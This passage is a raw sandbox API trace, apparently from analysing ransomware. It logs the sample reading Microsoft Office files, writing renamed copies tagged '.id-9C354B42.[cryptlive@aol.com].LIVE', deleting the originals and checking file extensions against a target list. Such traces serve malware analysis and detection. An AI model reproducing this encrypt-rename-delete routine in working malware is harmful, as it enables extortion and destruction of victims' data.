files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.826] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.826] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0144.827] GetLastError () returned 0x0 [0144.827] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x2b80, lpOverlapped=0x0) returned 1 [0144.836] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2b90, lpOverlapped=0x0) returned 1 [0144.837] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.837] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0144.837] SetEndOfFile (hFile=0x3dc) returned 1 [0144.837] CloseHandle (hObject=0x3dc) returned 1 [0144.837] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.837] SetEndOfFile (hFile=0x39c) returned 1 [0144.840] CloseHandle (hObject=0x39c) returned 1 [0144.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll")) returned 1 [0144.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.841] lstrlenW (lpString=".doc") returned 4 [0144.841] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0144.841] lstrlenW (lpString=".docx") returned 5 [0144.841] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0144.841] lstrlenW (lpString=".pdf") returned 4 [0144.841] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0144.841] lstrlenW (lpString=".xls") returned 4 [0144.841] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0144.841] lstrlenW (lpString=".xlsx") returned 5 [0144.841] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0144.841] lstrlenW (lpString=".ppt") returned 4 [0144.841] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0144.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.841] lstrlenW (lpString=".zip") returned 4 [0144.841] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0144.841] lstrlenW (lpString=".rar") returned 4 [0144.841] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0144.841] lstrlenW (lpString=".bz2") returned 4 [0144.841] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0144.841] lstrlenW (lpString=".7z") returned 3 [0144.841] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.842] lstrlenW (lpString=".dbf") returned 4 [0144.842] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.842] lstrlenW (lpString=".1cd") returned 4 [0144.842] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.842] lstrlenW (lpString=".jpg") returned 4 [0144.842] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.842] lstrlenW (lpString=".doc") returned 4 [0144.842] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString=".docx") returned 5 [0144.842] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0144.842] lstrlenW (lpString=".pdf") returned 4 [0144.842] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString=".xls") returned 4 [0144.842] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString=".xlsx") returned 5 [0144.842] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0144.842] lstrlenW (lpString=".ppt") returned 4 [0144.842] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.842] lstrlenW (lpString=".zip") returned 4 [0144.842] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString=".rar") returned 4 [0144.842] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString=".bz2") returned 4 [0144.842] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString=".7z") returned 3 [0144.842] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.842] lstrlenW (lpString=".dbf") returned 4 [0144.842] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0144.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.842] lstrlenW (lpString=".1cd") returned 4 [0144.843] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0144.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67 [0144.843] lstrlenW (lpString=".jpg") returned 4 [0144.843] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0144.843] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0144.843] lstrlenW (lpString="PE.VSL") returned 6 [0144.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.844] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=84352) returned 1 [0144.844] CloseHandle (hObject=0x39c) returned 1 [0144.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl")) returned 0x20 [0144.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.845] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.845] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0144.846] GetLastError () returned 0x0 [0144.846] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x14980, lpOverlapped=0x0) returned 1 [0144.880] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x14990, lpOverlapped=0x0) returned 1 [0144.882] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.882] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0144.882] SetEndOfFile (hFile=0x3dc) returned 1 [0144.882] CloseHandle (hObject=0x3dc) returned 1 [0144.882] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.882] SetEndOfFile (hFile=0x39c) returned 1 [0144.885] CloseHandle (hObject=0x39c) returned 1 [0144.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl")) returned 1 [0144.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.887] lstrlenW (lpString=".doc") returned 4 [0144.887] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0144.887] lstrlenW (lpString=".docx") returned 5 [0144.887] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0144.887] lstrlenW (lpString=".pdf") returned 4 [0144.887] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0144.887] lstrlenW (lpString=".xls") returned 4 [0144.887] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0144.887] lstrlenW (lpString=".xlsx") returned 5 [0144.887] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0144.887] lstrlenW (lpString=".ppt") returned 4 [0144.887] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0144.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.887] lstrlenW (lpString=".zip") returned 4 [0144.887] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0144.887] lstrlenW (lpString=".rar") returned 4 [0144.887] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0144.887] lstrlenW (lpString=".bz2") returned 4 [0144.887] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0144.887] lstrlenW (lpString=".7z") returned 3 [0144.887] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0144.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.887] lstrlenW (lpString=".dbf") returned 4 [0144.887] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0144.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.887] lstrlenW (lpString=".1cd") returned 4 [0144.887] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0144.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.887] lstrlenW (lpString=".jpg") returned 4 [0144.887] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0144.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.888] lstrlenW (lpString=".doc") returned 4 [0144.888] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0144.888] lstrlenW (lpString=".docx") returned 5 [0144.888] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0144.888] lstrlenW (lpString=".pdf") returned 4 [0144.888] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0144.888] lstrlenW (lpString=".xls") returned 4 [0144.888] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0144.888] lstrlenW (lpString=".xlsx") returned 5 [0144.888] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0144.888] lstrlenW (lpString=".ppt") returned 4 [0144.888] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0144.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.888] lstrlenW (lpString=".zip") returned 4 [0144.888] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0144.888] lstrlenW (lpString=".rar") returned 4 [0144.888] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0144.888] lstrlenW (lpString=".bz2") returned 4 [0144.888] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0144.888] lstrlenW (lpString=".7z") returned 3 [0144.888] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0144.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.888] lstrlenW (lpString=".dbf") returned 4 [0144.888] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0144.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.888] lstrlenW (lpString=".1cd") returned 4 [0144.888] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0144.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0144.888] lstrlenW (lpString=".jpg") returned 4 [0144.888] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0144.889] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0144.889] lstrlenW (lpString="PJINTL.DLL") returned 10 [0144.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.216] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3384192) returned 1 [0145.217] CloseHandle (hObject=0x3d0) returned 1 [0145.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll")) returned 0x20 [0145.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0145.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.318] lstrlenW (lpString=".doc") returned 4 [0145.318] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0145.318] lstrlenW (lpString=".docx") returned 5 [0145.318] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0145.318] lstrlenW (lpString=".pdf") returned 4 [0145.318] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0145.318] lstrlenW (lpString=".xls") returned 4 [0145.318] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0145.318] lstrlenW (lpString=".xlsx") returned 5 [0145.318] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0145.318] lstrlenW (lpString=".ppt") returned 4 [0145.318] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0145.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.318] lstrlenW (lpString=".zip") returned 4 [0145.318] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0145.318] lstrlenW (lpString=".rar") returned 4 [0145.318] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0145.318] lstrlenW (lpString=".bz2") returned 4 [0145.318] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0145.318] lstrlenW (lpString=".7z") returned 3 [0145.318] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.318] lstrlenW (lpString=".dbf") returned 4 [0145.318] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0145.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.319] lstrlenW (lpString=".1cd") returned 4 [0145.319] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0145.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.319] lstrlenW (lpString=".jpg") returned 4 [0145.319] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0145.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.319] lstrlenW (lpString=".doc") returned 4 [0145.319] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0145.319] lstrlenW (lpString=".docx") returned 5 [0145.319] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0145.319] lstrlenW (lpString=".pdf") returned 4 [0145.319] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0145.319] lstrlenW (lpString=".xls") returned 4 [0145.319] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0145.319] lstrlenW (lpString=".xlsx") returned 5 [0145.319] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0145.319] lstrlenW (lpString=".ppt") returned 4 [0145.319] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0145.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.319] lstrlenW (lpString=".zip") returned 4 [0145.319] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0145.319] lstrlenW (lpString=".rar") returned 4 [0145.319] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0145.319] lstrlenW (lpString=".bz2") returned 4 [0145.319] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0145.319] lstrlenW (lpString=".7z") returned 3 [0145.319] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0145.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.319] lstrlenW (lpString=".dbf") returned 4 [0145.319] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0145.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.319] lstrlenW (lpString=".1cd") returned 4 [0145.319] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0145.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0145.320] lstrlenW (lpString=".jpg") returned 4 [0145.320] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0145.320] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0145.320] lstrlenW (lpString="PROPRPT.VSL") returned 11 [0145.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.342] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=137096) returned 1 [0145.342] CloseHandle (hObject=0x328) returned 1 [0145.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl")) returned 0x20 [0145.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.448] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.448] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.448] GetLastError () returned 0x0 [0145.448] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x21788, lpOverlapped=0x0) returned 1 [0145.476] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x21790, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x21790, lpOverlapped=0x0) returned 1 [0145.479] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.479] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0145.479] SetEndOfFile (hFile=0x3dc) returned 1 [0145.479] CloseHandle (hObject=0x3dc) returned 1 [0145.479] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.479] SetEndOfFile (hFile=0x39c) returned 1 [0145.486] CloseHandle (hObject=0x39c) returned 1 [0145.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl")) returned 1 [0145.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL") returned 59 [0145.487] lstrlenW (lpString=".doc") returned 4 [0145.487] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0145.487] lstrlenW (lpString=".docx") returned 5 [0145.487] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0145.487] lstrlenW (lpString=".pdf") returned 4 [0145.487] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0145.487] lstrlenW (lpString=".xls") returned 4 [0145.487] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0145.487] lstrlenW (lpString=".xlsx") returned 5 [0145.487] lstrcmpiW (lpString1=".xlsx", 